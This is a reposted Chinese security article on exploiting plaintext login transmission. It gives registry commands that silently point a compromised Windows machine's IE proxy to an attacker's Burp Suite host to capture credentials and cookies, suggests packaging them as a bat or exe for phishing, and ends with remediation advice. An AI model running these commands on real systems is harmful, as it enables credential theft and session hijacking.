敏感数据明文传输引发的全新攻击
敏感数据明文传输引发的全新攻击
敏感数据的安全传输是网络安全技术的一个重要的组成部分,但是敏感数据(有且但不限于用户登录账户及密码)明文传输却是一个很常见的漏洞,而这个漏洞因为利用难度大而被评为一个中危风险——绝大多数扫描器或者人工渗透。
关于明文传输漏洞的解决方案,众所周知只有https是最佳实践,虽然ssl证书的价格需要考虑,以及https也不是绝对安全的,当遭受中间人劫持攻击的时候也会获取到传输中的明文数据,具体攻击详情见文章《HTTPS连接过程以及中间人攻击劫持》,但是这篇文章也说了,使用中间人攻击手段必须让客户端信任中间人的证书,否则攻击无效。因此这种攻击方式可以放弃,难度大且不方便隐藏攻击。
相关链接:https连接加密与中间人攻击劫持
敏感数据明文传输
敏感数据明文传输简单点来说就是当我们在网站上面提交敏感数据到服务器的过程中未进行相关加密处理,导致攻击者通过中间人攻击方式(劫持、嗅探等)即可获取到这些未加密的敏感数据。当攻击者获取到这些数据之后,就可以用这些信息以合法用户的身份进入到应用系统中——甚至可能进入到应用系统后台中,一旦进入到应用系统中那么就可以获取更多的敏感数据,以及更有机会发现更多的漏洞。
目前很多网站都是站库分离(站点与站点的数据库在不同的服务器上),获取了站点的权限不一定就会获取到更多的敏感数据更或是数据库的访问权限,可能连应用系统后台都进不去,使用嗅探呢?如果站点是使用https进行传输的,嗅探能成功吗?答案是否定的!下面将详细介绍关于对敏感数据明文传输漏洞如何利用的过程!
初验敏感数据是否是明文传输
我们如何判断一个网站的登录(下面将统一以登录的账号及密码作为敏感数据进行测试)是否是明文传输。一是使用抓包工具,二是使用浏览器自带的功能!推荐使用浏览器自带的功能,使用抓包的话推荐使用burpsuite,只是抓取https的数据包时需要提前进行额外的配置——安装burpsuite的CA证书,具体配置见官方配置。
首先通过火狐浏览器的F12功能,我们选择【网络】模块,并点击HTML进行筛选,如图1所示:
图1 设置火狐浏览器
然后点击登录即可获取到post或者get的请求头及请求主体的内容,如图2所示,就获取到了http明文登录的敏感数据了。
图2 获取http敏感数据
通过使用burpsuite进行抓包也是一样的,只要配置好了burpsuite,我们也可以抓取这些敏感数据,如图3所示:
图3 获取http明文数据
漏洞利用场景的思考
上面的方式都是可以成功获取到用户的敏感数据,那么在渗透中我们怎么利用该漏洞呢?嗅探?不现实,入侵路由器?想太多,其实最简单的就是一个小操作即可,就是设置被攻击者的IE代理设置!
被攻击者——之前多数人理解进入了一个固定思维,理解为就是一般的用户,把管理员也归属于这一类,所以觉得攻击难度很大,可能在同一局域网中利用相对较多吧!本次攻击对象明确为管理员,针对管理员的攻击,对于一般的用户也照样适用!
模拟攻击
攻击条件
通过思考我们发现,目前的利用也是存在有一定的限制的,姑且理解为技术不够。攻击条件主要有以下几方面:
一、服务器需要是windows主机。
二、攻击者需要有独立外网主机(或者同一局域网中)。
三、服务器存在一定的漏洞(能执行命令),也可以通过钓鱼方式。
对于第三个条件简单说明下,能执行命令,或者能获取到服务器的权限,不一定能获取到应用系统中存在的敏感数据或者数据库中的数据,例如,你在一个网站(只有一个登陆页面)处检测出了命令执行漏洞,可以执行命令,但是权限不是很高(即使权限很高,除非你只感兴趣服务器的控制权而不是应用系统中的敏感数据),此时我们就可以使用这种攻击方式了!
实验环境介绍
操作系统:Microsoft Windows Server 2008 R2 Enterprise,IP:192.168.1.25
用户权限组:*Users
使用工具:burpsuite
攻击者IP:192.168.1.200
配置攻击者burpsuite
由于我们是要获取被攻击者传过来的数据包,而被攻击者往往都是处于内网,外网访问多数是通过映射出来的,所以我们设置我们的burpsuite的代理为任意ip过来的数据包,如图4所示:
图4 配置攻击者的burpsuite
设置被攻击者IE代理
如果能进入到桌面环境,可以通过图形化界面进行设置IE代理,如图5所示:
图5设置IE代理
如果不能进入到远程桌面,我们可以使用下面命令进行设置IE代理:
//开启代理!
reg add “HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings” /v ProxyEnable /t REG_DWORD /d 1 /f
//设置代理ip及端口,为攻击者的ip,端口与burpsuite设置保持一致!
reg add “HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings” /v ProxyServer /d “192.168.1.200:8080” /f
关闭设置的代理可以使用下面的命令:
reg add “HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings” /v ProxyEnable /t REG_DWORD /d 0 /f
以上命令经测试只要是users用户组即可成功执行,如图6所示,为了方便我们可以将开启和关闭的命令分别写为bat批处理文件。
图6 users用户组即可成功执行
获取敏感数据
为了不让被攻击者怀疑,我们不要开启截断功能,如图7所示:
图7 关闭截断功能
现在攻击者只需要等待管理员去服务器上面使用浏览器访问部署的网站,额外收获的话还可以获取到管理员其他网站上面的登录账户及密码等信息,另外如果管理员已经登录了网站,我们可以使用他登录的cookie或者token等信息在本地进行重放利用!
此时假设管理员登录了网站,如图8所示:
图8 被攻击者登录网站
此时攻击这边也获取到了这些登录数据,如图9所示:
图9 查看被攻击者http网站明文信息
总结及修复建议
通过上述可以说明,对于敏感数据明文传输,上面只是一种利用方式,我们还可以将开启代理的批处理文件(或者通过编程调用这些命令,到时可以直接发送exe文件给受害者,这样隐蔽性也相对较好!)发给安全意识不高的人员,一旦他们点击,我们即可获取到这些人员访问网站的所有数据,登录时获取登录凭证,已经登录的情况下获取登录成功的cookie等进行本地的重放等,所有对于这种攻击方式来说,危害还是很高的!修复建议参考如下:
一、使用https来确保传输的安全,因为使用https的话对于中间人嗅探完全是乱码的!
二、用户登录信息使用加密传输,如密码在传输前使用安全的算法加密后进行传输,可采用的算法包括:不可逆hash算法加盐(4位及以上随机数,由服务器端产生);安全对称加密算法,如AES(128、192、256位),且必须保证客户端密钥安全及随机,不可被破解或读出;非对称加密算法,如RSA(不低于1024位)且保证密钥的随机性等。只有保证同一密码加密的密文每次都是不同的方可,因为如果不是这样的话攻击者同样能获取到你的密文进行本地的一个重放登录,通过抓包将请求主体替换为被攻击者的请求主体,不一定非要明文才能利用,所以在加密的同时还需要考虑重放攻击!
三、不要轻易运行陌生人发来的软件,安装软件的时候也谨慎点,防止捆绑有恶意软件!
四、设置浏览器代理为不使用任何代理,主要是不要使用默认的系统代理,即IE代理!
五、对服务器进行安全加固,防止利用服务器漏洞进行攻击!
本文转自绿盟安全,版权归原作者所有!